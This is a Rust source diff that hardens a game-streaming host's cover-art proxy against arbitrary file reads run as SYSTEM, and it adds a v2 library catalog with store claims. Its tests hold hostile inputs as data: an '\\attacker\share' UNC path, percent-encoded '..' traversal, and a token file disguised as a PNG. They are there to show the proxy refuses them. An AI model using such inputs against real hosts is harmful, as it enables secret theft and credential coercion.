// `file:///…` — the empty-authority form. A Windows drive letter (`/C:/…`) loses the slash;
// a POSIX path keeps it.
Some(after) if after.as_bytes().get(1) == Some(&b':') => Cow::Owned(after.to_string()),
Some(_) => Cow::Owned(decoded),
// `file://server/share/…` — a UNC path in URL clothing.
None => Cow::Owned(format!("\\\\{}", decoded.replace('/', "\\"))),
}
}
/// Percent-decode `%XX` escapes. Invalid escapes are left verbatim (a bare `%` in a real path is far
/// likelier than a malformed URL from our own kit), and the result is only ever used as a path that
/// must then exist as a regular file — so a wrong decode degrades to "no art", never to a wrong read.
fn percent_decode(s: &str) -> String {
let b = s.as_bytes();
let mut out = Vec::with_capacity(b.len());
let mut i = 0;
while i < b.len() {
if b[i] == b'%' && i + 2 < b.len() {
let hex = |c: u8| (c as char).to_digit(16);
if let (Some(hi), Some(lo)) = (hex(b[i + 1]), hex(b[i + 2])) {
out.push((hi * 16 + lo) as u8);
i += 3;
continue;
}
}
out.push(b[i]);
i += 1;
}
String::from_utf8(out).unwrap_or_else(|_| s.to_string())
}
/// The filesystem roots the art proxy is allowed to read from.
///
/// The proxy runs in the **host process** — LocalSystem on Windows — and both the path and the
/// read-back are reachable from the plugin lane, which runs as the much weaker LocalService. Without
/// a root, "serve this entry's cover" is "read any file on the box as SYSTEM" (2026-08-05 review
/// H-2): `mgmt-token`, `key.pem`, the SAM hive. So the value is confined here, at the one place
/// bytes are read, rather than trusted because of where it was written.
///
/// Default: the users base (`C:\Users`), which is where every launcher keeps its art cache —
/// Playnite, the only local-art provider, stores covers under `%APPDATA%\Playnite`. Derived from
/// `%PUBLIC%`'s parent because the host runs as SYSTEM, whose own `%USERPROFILE%` is
/// `…\config\systemprofile` and tells us nothing about where the operator's launchers live.
/// `PUNKTFUNK_LIBRARY_ART_ROOTS` (`;`-separated) replaces the default for an operator whose library
/// is on another drive.
fn art_roots() -> Vec<PathBuf> {
if let Some(configured) = std::env::var_os("PUNKTFUNK_LIBRARY_ART_ROOTS") {
return std::env::split_paths(&configured)
.filter(|p| !p.as_os_str().is_empty())
.collect();
}
let mut roots = Vec::new();
// `%PUBLIC%` is `C:\Users\Public` on every supported Windows; its parent is the users base.
if let Some(public) = std::env::var_os("PUBLIC") {
if let Some(base) = PathBuf::from(public).parent() {
roots.push(base.to_path_buf());
}
}
if roots.is_empty() {
if let Some(drive) = std::env::var_os("SystemDrive") {
roots.push(PathBuf::from(drive).join("Users"));
}
}
// POSIX: the user's home, which is the exact analogue of the Windows users base above — and
// where every launcher this host reads art from actually keeps it. Steam's
// `appcache/librarycache` and `userdata/<id>/config/grid`, Lutris's `coverart`/`banners` (both
// the `~/.local/share` and `~/.cache` copies), Heroic's caches, and all three Flatpak
// `~/.var/app/…` variants are under it.
//
// Needed because `is_local_art_path` now classifies POSIX absolute paths as local art (the
// extracted Lutris/Steam plugins emit them). Before that widening this list was legitimately
// empty here: the only local-art provider was Playnite, which is Windows-only, so nothing on a
// POSIX host was ever classified local and the confinement had nothing to confine. Leaving it
// empty now would not be "secure by default" — it would silently serve no plugin art at all.
//
// Breadth matches what Windows already ships, and it is not the load-bearing control: a value
// still has to carry an image extension, canonicalize to a real regular file inside a root,
// sit outside the host config dir, and CONTAIN image bytes. `PUNKTFUNK_LIBRARY_ART_ROOTS`
// narrows or relocates this for a library that lives elsewhere.
#[cfg(not(windows))]
if let Some(home) = std::env::var_os("HOME") {
let home = PathBuf::from(home);
if !home.as_os_str().is_empty() {
roots.push(home);
}
}
roots
}
/// Whether `path` resolves inside one of [`art_roots`] and outside the host config dir.
///
/// Canonicalizes first, so a junction/symlink pointing out of the root is resolved before the
/// containment test rather than after it. The config-dir exclusion is unconditional — it holds even
/// if an operator's `PUNKTFUNK_LIBRARY_ART_ROOTS` were to contain it — because that directory is
/// where every host secret lives.
fn art_path_is_confined(path: &Path) -> bool {
// A UNC value (`\\attacker\share\a.png`) is refused outright: reading it would coerce the host's
// machine account into outbound SMB authentication to a peer of the caller's choosing.
if path.to_string_lossy().starts_with(r"\\") {
return false;
}
let Ok(real) = path.canonicalize() else {
return false;
};
if let Ok(config) = pf_paths::config_dir().canonicalize() {
if real.starts_with(&config) {
return false;
}
}
art_roots()
.iter()
.filter_map(|r| r.canonicalize().ok())
.any(|root| real.starts_with(&root))
}
/// Sniff an image container from its leading bytes → the content type to serve. `None` for anything
/// that is not a recognized image.
///
/// The proxy serves what the bytes ARE, not what the extension claims, and refuses to serve at all
/// when they are not an image — which is what keeps an extensionless secret like `mgmt-token` (or a
/// `key.pem` renamed `cover.png`) from being returned as `application/octet-stream`.
fn sniff_image_type(bytes: &[u8]) -> Option<&'static str> {
let starts = |sig: &[u8]| bytes.starts_with(sig);
if starts(&[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A]) {
return Some("image/png");
}
if starts(&[0xFF, 0xD8, 0xFF]) {
return Some("image/jpeg");
}
if starts(b"GIF87a") || starts(b"GIF89a") {
return Some("image/gif");
}
if starts(b"RIFF") && bytes.len() >= 12 && &bytes[8..12] == b"WEBP" {
return Some("image/webp");
}
if starts(b"BM") {
return Some("image/bmp");
}
if starts(&[0x00, 0x00, 0x01, 0x00]) {
return Some("image/x-icon");
}
// TGA has no magic number. Validate the fixed header fields instead (colour-map type is 0/1,
// image type is one of the six defined codes) — enough that no plausible secret passes.
if bytes.len() >= 18
&& matches!(bytes[1], 0 | 1)
&& matches!(bytes[2], 0 | 1 | 2 | 3 | 9 | 10 | 11)
{
return Some("image/x-tga");
}
None
}
/// Whether a local art path is servable at all: known image extension, inside an allowed root. The
/// write-time half of the art confinement — [`validate_art_paths`] refuses to persist a value this
/// rejects, so an out-of-root path never reaches the catalog in the first place, and
/// [`local_art_bytes`] re-checks at read time so an entry written before this existed is still safe.
pub fn art_path_is_servable(value: &str) -> bool {
let p = Path::new(value);
let ext_ok = p
.extension()
.and_then(|e| e.to_str())
.map(|e| e.to_ascii_lowercase())
.is_some_and(|e| {
matches!(
e.as_str(),
"jpg" | "jpeg" | "png" | "webp" | "gif" | "bmp" | "ico" | "tga"
)
});
ext_ok && art_path_is_confined(p)
}
/// Reject any **local-file** art value that the proxy would refuse to serve, so an unservable path
/// (out of root, not an image, a UNC share) can never be persisted. URLs and already-proxied paths
/// are not this function's business and pass through. `Err` carries the offending field name.
pub fn validate_art_paths(art: &Artwork) -> Result<(), String> {
for (field, value) in [
("portrait", &art.portrait),
("hero", &art.hero),
("logo", &art.logo),
("header", &art.header),
] {
let Some(v) = value.as_deref() else { continue };
if is_local_art_path(v) && !art_path_is_servable(v) {
return Err(format!(
"art.{field}: local art must be an image file (jpg/png/webp/gif/bmp/ico/tga) inside \
an allowed art root set PUNKTFUNK_LIBRARY_ART_ROOTS if the library lives \
elsewhere, or send an http(s) URL instead"
));
}
}
Ok(())
}
/// Read a local image file into `(bytes, content-type)` for the art proxy. `None` if it isn't an
/// existing regular file, is empty, or exceeds 16 MiB (a cover never approaches that; the cap bounds
/// host memory). Content-type is guessed from the extension.
/// existing regular file, is empty, exceeds 16 MiB (a cover never approaches that; the cap bounds
/// host memory), resolves outside the allowed art roots ([`art_path_is_confined`]), or does not
/// actually contain an image ([`sniff_image_type`]).
///
/// This is the single place local art bytes are read — the mgmt art proxy and the GameStream
/// `/appasset` proxy both land here — so the confinement holds for every caller.
///
/// A `file://` value is converted to a path FIRST ([`file_url_to_path`]), so the confinement check
/// and the read see the same decoded path. Ordering matters: percent-decoding before
/// canonicalization is what stops a `%2e%2e` escape being invisible to the traversal check.
pub fn local_art_bytes(path: &str) -> Option<(Vec<u8>, String)> {
let p = std::path::Path::new(path);
let path = file_url_to_path(path);
if !art_path_is_servable(&path) {
tracing::debug!(
path = %path,
"art proxy: refusing a path outside the allowed art roots"
);
return None;
}
let p = std::path::Path::new(&*path);
let meta = std::fs::metadata(p).ok()?;
if !meta.is_file() || meta.len() == 0 || meta.len() > 16 * 1024 * 1024 {
return None;
}
let ctype = match p
.extension()
.and_then(|e| e.to_str())
.map(|e| e.to_ascii_lowercase())
.as_deref()
{
Some("jpg" | "jpeg") => "image/jpeg",
Some("png") => "image/png",
Some("webp") => "image/webp",
Some("gif") => "image/gif",
Some("bmp") => "image/bmp",
Some("ico") => "image/x-icon",
Some("tga") => "image/x-tga",
_ => "application/octet-stream",
}
.to_string();
Some((std::fs::read(p).ok()?, ctype))
let bytes = std::fs::read(p).ok()?;
// Serve what the bytes ARE. A file that is not an image is not served at all.
let ctype = sniff_image_type(&bytes)?;
Some((bytes, ctype.to_string()))
}
/// Resolve one art value to bytes for the Moonlight `/appasset` proxy: a local host file
@@ -221,9 +451,22 @@ pub fn proxy_local_art(id: &str, art: &mut Artwork) {
/// `(bytes, content-type)`. Resolves the id against the host's OWN library. Blocking — call off the
/// async runtime (e.g. `spawn_blocking`).
pub fn fetch_box_art(id: &str) -> Option<(Vec<u8>, String)> {
// Steam's `Artwork` fields are now relative proxy paths (see `steam_art`) the *client* resolves
// against the host — meaningless to `fetch_image`, which expects an absolute URL. Resolve
// those kinds directly instead of going through the URL fields.
// Same resolution order as the management art proxy (WP1.2): the stored catalog first, for ANY
// id, so a library plugin's entries resolve without the warmer knowing its store.
if let Some(entry) = entry_for_library_id(id) {
return [
ArtKind::Portrait,
ArtKind::Header,
ArtKind::Hero,
ArtKind::Logo,
]
.into_iter()
.filter_map(|kind| art_field(&entry.art, kind))
.find_map(|v| resolve_art_bytes(&v));
}
// Legacy in-host Steam scanner: its `Artwork` fields are relative proxy paths (see `steam_art`)
// the *client* resolves against the host — meaningless to `fetch_image`, which expects an
// absolute URL. Resolve those kinds directly instead of going through the URL fields.
if let Some(appid) = id
.strip_prefix("steam:")
.and_then(|s| s.parse::<u32>().ok())
@@ -237,6 +480,7 @@ pub fn fetch_box_art(id: &str) -> Option<(Vec<u8>, String)> {
.into_iter()
.find_map(|kind| steam_art_bytes(appid, kind));
}
// The remaining in-host scanners (heroic/lutris/epic/gog/xbox) carry absolute CDN URLs.
let g = all_games().into_iter().find(|g| g.id == id)?;
[g.art.portrait, g.art.header, g.art.hero, g.art.logo]
.into_iter()
@@ -335,19 +579,60 @@ mod tests {
assert!(fetch_image("data:image/png;base64,").is_none());
}
/// The full accept/exclude table (WP1.2). The exclusions are the load-bearing half: two of the
/// three `/`-leading shapes here are emitted by the host ITSELF, so a POSIX rule that swallowed
/// them would break the proxy round-trip and silently drop CDN art.
#[test]
fn local_art_path_detection() {
// Windows-shaped local paths a provider (Playnite) would store.
assert!(is_local_art_path(r"C:\Users\me\cover.jpg"));
assert!(is_local_art_path("C:/Users/me/cover.png"));
assert!(is_local_art_path(r"\\nas\share\art.jpg"));
// URLs and the host proxy path are NOT local files.
// The `file://` plugin contract, on both platform shapes.
assert!(is_local_art_path("file:///home/u/covers/x.jpg"));
assert!(is_local_art_path("file:///C:/covers/x.jpg"));
// POSIX absolute — lutris covers, steam librarycache.
assert!(is_local_art_path("/home/u/.cache/lutris/coverart/x.jpg"));
assert!(is_local_art_path("/var/lib/steam/librarycache/570/h.jpg"));
// URLs are NOT local files.
assert!(!is_local_art_path("https://cdn/x.jpg"));
assert!(!is_local_art_path("http://host/x.jpg"));
assert!(!is_local_art_path("data:image/png;base64,AAAA"));
// …nor is the host's OWN art-proxy path (it must survive a second `proxy_local_art` pass).
assert!(!is_local_art_path(
"/api/v1/library/art/custom:abc/portrait"
));
assert!(!is_local_art_path("/api/v1/library/art/steam:570/hero"));
// …nor a protocol-relative CDN URL (what GOG / the MS catalog return — see `abs_url`).
assert!(!is_local_art_path("//images.gog.com/abc_vertical.jpg"));
// A relative path is not absolute — nothing to serve.
assert!(!is_local_art_path("covers/x.jpg"));
assert!(!is_local_art_path(""));
}
#[test]
fn file_url_converts_to_a_path_and_percent_decodes() {
assert_eq!(file_url_to_path("file:///home/u/c.jpg"), "/home/u/c.jpg");
// Percent-encoded spaces — what a correct URL encoder emits for a real-world cover path.
assert_eq!(
file_url_to_path("file:///home/u/My%20Games/c%2Bx.jpg"),
"/home/u/My Games/c+x.jpg"
);
// Windows drive letters arrive after the empty authority's slash and lose it.
assert_eq!(
file_url_to_path("file:///C:/covers/c.jpg"),
"C:/covers/c.jpg"
);
// A non-empty authority is a UNC reference.
assert_eq!(
file_url_to_path("file://nas/share/c.jpg"),
r"\\nas\share\c.jpg"
);
// Non-`file://` values are returned untouched (bare paths still work).
assert_eq!(file_url_to_path("/home/u/c.jpg"), "/home/u/c.jpg");
assert_eq!(file_url_to_path(r"C:\c.jpg"), r"C:\c.jpg");
// A lone `%` (a legal path character) is not mangled into a decode failure.
assert_eq!(file_url_to_path("file:///home/100%.jpg"), "/home/100%.jpg");
}
#[test]
@@ -371,16 +656,187 @@ mod tests {
);
}
/// A POSIX local cover — the shape the lutris and steam plugins emit — is classified as local
/// art and rewritten to the proxy path. This is the case G4 blocked (Lutris art was inlined as
/// `data:` URLs and blew the 2 MB body limit at 49 covers).
///
/// Deliberately free of filesystem and env: the READ half is confined, and lives in
/// `local_art_bytes_is_confined_and_image_only` so that only ONE test mutates
/// `PUNKTFUNK_LIBRARY_ART_ROOTS` (cargo runs these in parallel threads of one process, so two
/// would race).
#[test]
fn local_art_bytes_reads_a_real_file() {
fn posix_local_art_is_classified_and_proxied() {
let path = if cfg!(windows) {
r"C:\covers\cover.jpg".to_string()
} else {
"/home/u/.cache/lutris/coverart/cover.jpg".to_string()
};
let mut art = Artwork {
portrait: Some(path.clone()),
hero: Some(format!("file://{path}")),
logo: Some("https://cdn/l.png".into()),
header: None,
};
assert!(is_local_art_path(&path));
proxy_local_art("lutris:42", &mut art);
assert_eq!(
art.portrait.as_deref(),
Some("/api/v1/library/art/lutris:42/portrait")
);
assert_eq!(
art.hero.as_deref(),
Some("/api/v1/library/art/lutris:42/hero"),
"a file:// value is local art too"
);
assert_eq!(art.logo.as_deref(), Some("https://cdn/l.png"));
// Re-running the rewrite is a no-op — the emitted proxy path must not be mistaken for a file.
let before = art.portrait.clone();
proxy_local_art("lutris:42", &mut art);
assert_eq!(art.portrait, before);
}
const PNG: &[u8] = &[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A, 0, 0, 0, 13];
/// The art proxy reads bytes in the HOST process (LocalSystem on Windows) from a path the
/// plugin lane can write — so what it will and will not read IS the security boundary
/// (2026-08-05 review H-2). Confinement, extension, and content are all load-bearing.
#[test]
fn local_art_bytes_is_confined_and_image_only() {
let dir = std::env::temp_dir().join(format!("pf-art-test-{}", std::process::id()));
let outside = std::env::temp_dir().join(format!("pf-art-out-{}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
let f = dir.join("cover.png");
std::fs::write(&f, [1u8, 2, 3, 4]).unwrap();
let (bytes, ctype) = local_art_bytes(f.to_str().unwrap()).expect("reads file");
assert_eq!(bytes, vec![1, 2, 3, 4]);
std::fs::create_dir_all(&outside).unwrap();
// Confine the proxy to `dir` for the duration of this test.
std::env::set_var("PUNKTFUNK_LIBRARY_ART_ROOTS", &dir);
// A real image inside the root: served, with the content type SNIFFED from the bytes.
let cover = dir.join("cover.png");
std::fs::write(&cover, PNG).unwrap();
let (bytes, ctype) = local_art_bytes(cover.to_str().unwrap()).expect("reads a real cover");
assert_eq!(bytes, PNG);
assert_eq!(ctype, "image/png");
// A secret is not served, however it is dressed up. This is the H-2 primitive: the plugin
// writes the path, the host reads it as SYSTEM, and `mgmt-token` is full admin.
let secret = dir.join("mgmt-token");
std::fs::write(&secret, b"super-secret-admin-token").unwrap();
assert!(
local_art_bytes(secret.to_str().unwrap()).is_none(),
"an extensionless secret must not be served as application/octet-stream"
);
let disguised = dir.join("mgmt-token.png");
std::fs::write(&disguised, b"super-secret-admin-token").unwrap();
assert!(
local_art_bytes(disguised.to_str().unwrap()).is_none(),
"an image extension must not be enough — the bytes must BE an image"
);
// Outside the configured root: refused even though it is a genuine image.
let elsewhere = outside.join("cover.png");
std::fs::write(&elsewhere, PNG).unwrap();
assert!(
local_art_bytes(elsewhere.to_str().unwrap()).is_none(),
"a path outside every art root must be refused"
);
// …and a path that only *escapes* via traversal is caught, because we canonicalize first.
let traversal = dir
.join("..")
.join(outside.file_name().unwrap())
.join("cover.png");
assert!(
local_art_bytes(traversal.to_str().unwrap()).is_none(),
"`..` out of the root must be refused after canonicalization"
);
assert!(local_art_bytes(dir.join("nope.png").to_str().unwrap()).is_none());
// A directory is not a servable cover — the proxy must never become a directory reader.
assert!(local_art_bytes(dir.to_str().unwrap()).is_none());
// The `file://` plugin contract reaches the SAME bytes through the SAME gate. This is the
// half that matters for the extracted scanners: they emit `file://` values, so if the
// conversion happened after the confinement check the check would be inspecting a string
// that is not the path being read.
let as_url = format!("file://{}", cover.to_str().unwrap());
assert_eq!(
local_art_bytes(&as_url)
.expect("file:// reads the same cover")
.0,
PNG
);
// …and a `file://` value is confined exactly like a bare one — no bypass by spelling.
assert!(
local_art_bytes(&format!("file://{}", elsewhere.to_str().unwrap())).is_none(),
"file:// must not escape the art roots"
);
// Percent-encoded traversal is decoded BEFORE canonicalization, so it cannot hide from the
// `..` check.
assert!(
local_art_bytes(&format!(
"file://{}/%2e%2e/{}/cover.png",
dir.to_str().unwrap(),
outside.file_name().unwrap().to_str().unwrap()
))
.is_none(),
"percent-encoded traversal must be refused"
);
// A UNC path is refused outright (outbound SMB auth coercion), before any filesystem hit.
assert!(!art_path_is_servable(r"\\attacker\share\a.png"));
std::env::remove_var("PUNKTFUNK_LIBRARY_ART_ROOTS");
let _ = std::fs::remove_dir_all(&dir);
let _ = std::fs::remove_dir_all(&outside);
}
/// Write-time validation refuses what read-time would refuse, so an unservable path never even
/// reaches `library.json`. URLs are none of its business.
#[test]
fn validate_art_paths_rejects_unservable_local_paths() {
let ok = Artwork {
portrait: Some("https://cdn/x.jpg".into()),
hero: Some("data:image/png;base64,AAAA".into()),
logo: Some("/api/v1/library/art/custom:x/logo".into()),
header: None,
};
assert!(validate_art_paths(&ok).is_ok(), "URLs pass through");
let unc = Artwork {
portrait: Some(r"\\attacker\share\a.png".into()),
..Default::default()
};
assert!(
validate_art_paths(&unc).is_err(),
"UNC is refused at write time"
);
let secret = Artwork {
hero: Some(r"C:\ProgramData\punktfunk\mgmt-token".into()),
..Default::default()
};
let err = validate_art_paths(&secret).expect_err("a secret path is refused");
assert!(
err.starts_with("art.hero"),
"the error names the field: {err}"
);
}
#[test]
fn sniff_image_type_recognizes_containers_and_rejects_secrets() {
assert_eq!(sniff_image_type(PNG), Some("image/png"));
assert_eq!(
sniff_image_type(&[0xFF, 0xD8, 0xFF, 0xE0]),
Some("image/jpeg")
);
assert_eq!(sniff_image_type(b"GIF89a...."), Some("image/gif"));
assert_eq!(
sniff_image_type(b"RIFF\0\0\0\0WEBPVP8 "),
Some("image/webp")
);
assert_eq!(sniff_image_type(b"BM\0\0"), Some("image/bmp"));
// The shapes a stolen secret actually has.
assert_eq!(sniff_image_type(b"-----BEGIN PRIVATE KEY-----"), None);
assert_eq!(sniff_image_type(b"9f8a7b6c5d4e3f2a1b0c"), None);
assert_eq!(sniff_image_type(b""), None);
}
}
+505 -67
View File
@@ -28,6 +28,17 @@ pub struct CustomEntry {
/// host-assigned `id` stays stable across reconciles. Present iff `provider` is.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub external_id: Option<String>,
/// The **store this entry was claimed under** (D2), stamped by a `?store=`-qualified reconcile.
/// `None` = an unclaimed provider entry or a manual one, both of which surface as `custom`.
///
/// Materialized onto the entry rather than looked up in [`Catalog::claims`] on every read so an
/// entry is self-describing: its id and its `store` badge derive from the entry alone, and stay
/// correct even while the claim map is being rewritten.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub store: Option<String>,
/// Whether this entry is a game or the launcher itself — see [`GameRole`].
#[serde(default, skip_serializing_if = "GameRole::is_game")]
pub role: GameRole,
/// How to recognize this title's process once it is running (design §9) — the one thing a
/// provider knows that the host cannot work out for itself.
///
@@ -53,6 +64,10 @@ pub struct CustomInput {
/// Per-title prep/undo steps — commands run as the host user; operator-privileged config.
#[serde(default)]
pub prep: Vec<crate::hooks::PrepCmd>,
/// Whether this entry is a game or the launcher itself — see [`GameRole`]. A hand-added launcher
/// entry is legal (an operator may want a "Steam" tile without installing the steam plugin).
#[serde(default)]
pub role: GameRole,
/// How to recognize this title's process — see [`CustomEntry::detect`].
#[serde(default)]
pub detect: DetectHint,
@@ -76,6 +91,10 @@ pub struct ProviderEntryInput {
/// Per-title prep/undo steps — commands run as the host user; operator-privileged config.
#[serde(default)]
pub prep: Vec<crate::hooks::PrepCmd>,
/// Whether this entry is a game or the launcher itself — see [`GameRole`]. A library plugin
/// emits its `launchers(cfg)` entries with `role: "launcher"`.
#[serde(default)]
pub role: GameRole,
/// How to recognize this title's process — see [`CustomEntry::detect`]. A provider that knows its
/// titles' install directories (Playnite does) should send them: it is what lets a game launched
/// through the provider's own client still end its session when the player quits.
@@ -101,10 +120,13 @@ impl From<CustomEntry> for GameEntry {
.unwrap_or_default()
.or_hint(&c.detect);
GameEntry {
id: format!("custom:{}", c.id),
store: "custom".into(),
id: library_id_for(&c),
// A claimed entry wears its store's badge; everything else is `custom`. `provider` rides
// along either way, so attribution ("synced by the steam plugin") survives the claim.
store: c.store.clone().unwrap_or_else(|| "custom".into()),
title: c.title,
art: c.art,
role: c.role,
launch: c.launch,
provider: c.provider,
detect,
@@ -122,42 +144,123 @@ fn custom_path() -> PathBuf {
pf_paths::config_dir().join("library.json")
}
/// Load the custom entries (empty + non-fatal if the file is absent or malformed).
pub fn load_custom() -> Vec<CustomEntry> {
/// The persisted catalog (`library.json` **v2**): the entries plus the store-claim map (D2).
#[derive(Debug, Default, Serialize, Deserialize)]
pub struct Catalog {
#[serde(default)]
pub entries: Vec<CustomEntry>,
/// `store id → provider id`. One provider per store; a second claimant is refused (409).
///
/// The map — not the entries — is the authority for a claim, which is exactly why it survives an
/// **empty reconcile**: a store the plugin legitimately owns can have zero installed titles, and
/// the built-in scanner it suppresses must stay suppressed anyway. Releasing is explicit
/// (`DELETE /library/provider/{p}`, or the plugin claiming a different store).
#[serde(default)]
pub claims: BTreeMap<String, String>,
}
/// What `library.json` may contain on disk. v1 was a bare array of entries; v2 is the [`Catalog`]
/// object. Untagged, so an existing v1 file loads unchanged — and the host always WRITES v2, so the
/// first mutation after an upgrade migrates the file in place with no separate migration step.
#[derive(Deserialize)]
#[serde(untagged)]
enum LibraryFile {
V2(Catalog),
Legacy(Vec<CustomEntry>),
}
/// Load the whole catalog (default + non-fatal if the file is absent or malformed).
pub fn load_catalog() -> Catalog {
match std::fs::read_to_string(custom_path()) {
Ok(raw) => serde_json::from_str(&raw).unwrap_or_else(|e| {
tracing::warn!(error = %e, "library.json malformed — ignoring custom entries");
Vec::new()
}),
Err(_) => Vec::new(),
Ok(raw) => match serde_json::from_str::<LibraryFile>(&raw) {
Ok(LibraryFile::V2(c)) => c,
Ok(LibraryFile::Legacy(entries)) => Catalog {
entries,
claims: BTreeMap::new(),
},
Err(e) => {
tracing::warn!(error = %e, "library.json malformed — ignoring custom entries");
Catalog::default()
}
},
Err(_) => Catalog::default(),
}
}
/// Serve a custom/provider entry's stored **local** art file for one [`ArtKind`] — the non-Steam
/// branch of the art proxy (`GET /library/art/custom:<id>/<kind>`). `id` is the bare custom id (the
/// `custom:` prefix already stripped by the handler). `None` if the entry is unknown, has no art of
/// that kind, or that art value isn't a servable local file (e.g. an `http` URL the client fetches
/// itself). Blocking IO — call off the async runtime.
pub fn custom_local_art_bytes(id: &str, kind: ArtKind) -> Option<(Vec<u8>, String)> {
let entry = load_custom().into_iter().find(|e| e.id == id)?;
let field = match kind {
ArtKind::Portrait => entry.art.portrait,
ArtKind::Hero => entry.art.hero,
ArtKind::Logo => entry.art.logo,
ArtKind::Header => entry.art.header,
}?;
/// Load just the entries — the read path every library surface uses.
pub fn load_custom() -> Vec<CustomEntry> {
load_catalog().entries
}
/// The active store claims (`store → provider`). Read per library scan to suppress the built-in
/// scanner a plugin has taken over (D2).
pub fn claimed_stores() -> BTreeMap<String, String> {
load_catalog().claims
}
/// The library id a stored entry surfaces as. **The single source of truth for the mapping** —
/// [`From<CustomEntry> for GameEntry`] and every id→entry lookup go through it, so the id scheme
/// can't drift between the catalog, the art proxy and the launch resolver.
///
/// A **claimed** entry (D2) gets the deterministic `<store>:<external_id>` its built-in scanner used
/// to produce — `steam:440`, `heroic:legendary:Quail` — so entry ids, GameStream FNV-1a app ids,
/// client art caches and Moonlight pins all survive the migration to a plugin untouched. That is the
/// whole point of the claim: extraction must be invisible to everything downstream. An unclaimed
/// entry keeps the opaque host-assigned `custom:<id>`.
pub(crate) fn library_id_for(e: &CustomEntry) -> String {
match (e.store.as_deref(), e.external_id.as_deref()) {
(Some(store), Some(external)) => format!("{store}:{external}"),
_ => format!("custom:{}", e.id),
}
}
/// The **source id** an entry is toggled by (WP2.6): its claimed store when it has one, else its
/// provider id. `None` for a manual entry — the custom store is not a source and can never be
/// switched off. Since the claimed store id, the provider id and the old scanner id are all the same
/// string by construction, a user's existing disabled state carries over verbatim.
pub(crate) fn source_id_for(e: &CustomEntry) -> Option<&str> {
e.store.as_deref().or(e.provider.as_deref())
}
/// The stored entry a full **library id** refers to, or `None`. The art proxy resolves *any* id this
/// way before falling back to the legacy per-store branches (WP1.2), which is what lets a plugin's
/// entries be served regardless of what their ids look like.
pub fn entry_for_library_id(library_id: &str) -> Option<CustomEntry> {
load_custom()
.into_iter()
.find(|e| library_id_for(e) == library_id)
}
/// Serve a stored entry's **local** art file for one [`ArtKind`] — the `library.json` branch of the
/// art proxy (`GET /library/art/<library id>/<kind>`). `None` if the id names no stored entry, it has
/// no art of that kind, or that art value isn't a servable local file (e.g. an `http` URL the client
/// fetches itself). Blocking IO — call off the async runtime.
pub fn library_local_art_bytes(library_id: &str, kind: ArtKind) -> Option<(Vec<u8>, String)> {
let field = art_field(&entry_for_library_id(library_id)?.art, kind)?;
is_local_art_path(&field)
.then(|| local_art_bytes(&field))
.flatten()
}
fn save_custom(entries: &[CustomEntry]) -> Result<()> {
/// One [`Artwork`] field by kind — the tiny mapping the proxy and the box-art ladder share.
pub(crate) fn art_field(art: &Artwork, kind: ArtKind) -> Option<String> {
match kind {
ArtKind::Portrait => art.portrait.clone(),
ArtKind::Hero => art.hero.clone(),
ArtKind::Logo => art.logo.clone(),
ArtKind::Header => art.header.clone(),
}
}
/// Persist the catalog in the **v2** shape (write-then-rename, restrictive perms). Every mutation
/// path funnels through here, so a v1 file is upgraded by the first write.
fn save_catalog(catalog: &Catalog) -> Result<()> {
let dir = pf_paths::config_dir();
// Owner-private dir (0700 / SYSTEM+Admins DACL) so a non-privileged local user can't plant a
// library.json whose `prep`/`launch` commands the host would later execute — the same trust
// boundary hooks.json and the mgmt token already use.
pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
let json = serde_json::to_string_pretty(entries)?;
let json = serde_json::to_string_pretty(catalog)?;
// Write-then-rename so a crash mid-write never truncates the catalog; `write_secret_file` gives
// the temp file its restrictive perms (0600 / SYSTEM+Admins DACL) before the rename carries them
// to the final path.
@@ -177,19 +280,26 @@ fn new_id(title: &str) -> String {
hex::encode(&Sha256::digest(format!("{title}:{nanos}").as_bytes())[..6])
}
/// Outcome of a manual mutation against an id — distinguishes "no such entry" from "exists,
/// but a provider owns it" (the mgmt layer maps the latter to 409, not 404).
/// Outcome of a mutation — distinguishes "no such entry" from the two conflict cases the mgmt
/// layer maps to 409 rather than 404.
pub enum MutateOutcome<T> {
Done(T),
NotFound,
/// The entry belongs to this provider — mutate it through the provider reconcile API
/// (or remove the whole provider set); manual edits would be clobbered at the next sync.
ProviderOwned(String),
/// The requested store claim is already held by a DIFFERENT provider (D2: one provider per
/// store). Refusing is the point — two plugins both emitting `steam:440` would collide on entry
/// ids, so the second claimant is told who holds it instead of silently taking over.
StoreClaimed {
store: String,
provider: String,
},
}
/// Create a custom (manual) entry, returning it with its assigned id.
pub fn add_custom(input: CustomInput) -> Result<CustomEntry> {
let mut entries = load_custom();
let mut catalog = load_catalog();
let entry = CustomEntry {
id: new_id(&input.title),
title: input.title,
@@ -198,11 +308,13 @@ pub fn add_custom(input: CustomInput) -> Result<CustomEntry> {
prep: input.prep,
provider: None,
external_id: None,
store: None,
role: input.role,
detect: input.detect,
meta: input.meta,
};
entries.push(entry.clone());
save_custom(&entries)?;
catalog.entries.push(entry.clone());
save_catalog(&catalog)?;
emit_changed("manual");
Ok(entry)
}
@@ -210,8 +322,8 @@ pub fn add_custom(input: CustomInput) -> Result<CustomEntry> {
/// Replace a manual entry's fields (id preserved). Provider-owned entries are refused —
/// their state belongs to the provider's reconcile (RFC §8 ownership rule).
pub fn update_custom(id: &str, input: CustomInput) -> Result<MutateOutcome<CustomEntry>> {
let mut entries = load_custom();
let Some(slot) = entries.iter_mut().find(|e| e.id == id) else {
let mut catalog = load_catalog();
let Some(slot) = catalog.entries.iter_mut().find(|e| e.id == id) else {
return Ok(MutateOutcome::NotFound);
};
if let Some(provider) = &slot.provider {
@@ -221,31 +333,61 @@ pub fn update_custom(id: &str, input: CustomInput) -> Result<MutateOutcome<Custo
slot.art = input.art;
slot.launch = input.launch;
slot.prep = input.prep;
slot.role = input.role;
slot.detect = input.detect;
slot.meta = input.meta;
let updated = slot.clone();
save_custom(&entries)?;
save_catalog(&catalog)?;
emit_changed("manual");
Ok(MutateOutcome::Done(updated))
}
/// Delete a manual entry. Provider-owned entries are refused (see [`update_custom`]).
pub fn delete_custom(id: &str) -> Result<MutateOutcome<()>> {
let mut entries = load_custom();
let Some(entry) = entries.iter().find(|e| e.id == id) else {
let mut catalog = load_catalog();
let Some(entry) = catalog.entries.iter().find(|e| e.id == id) else {
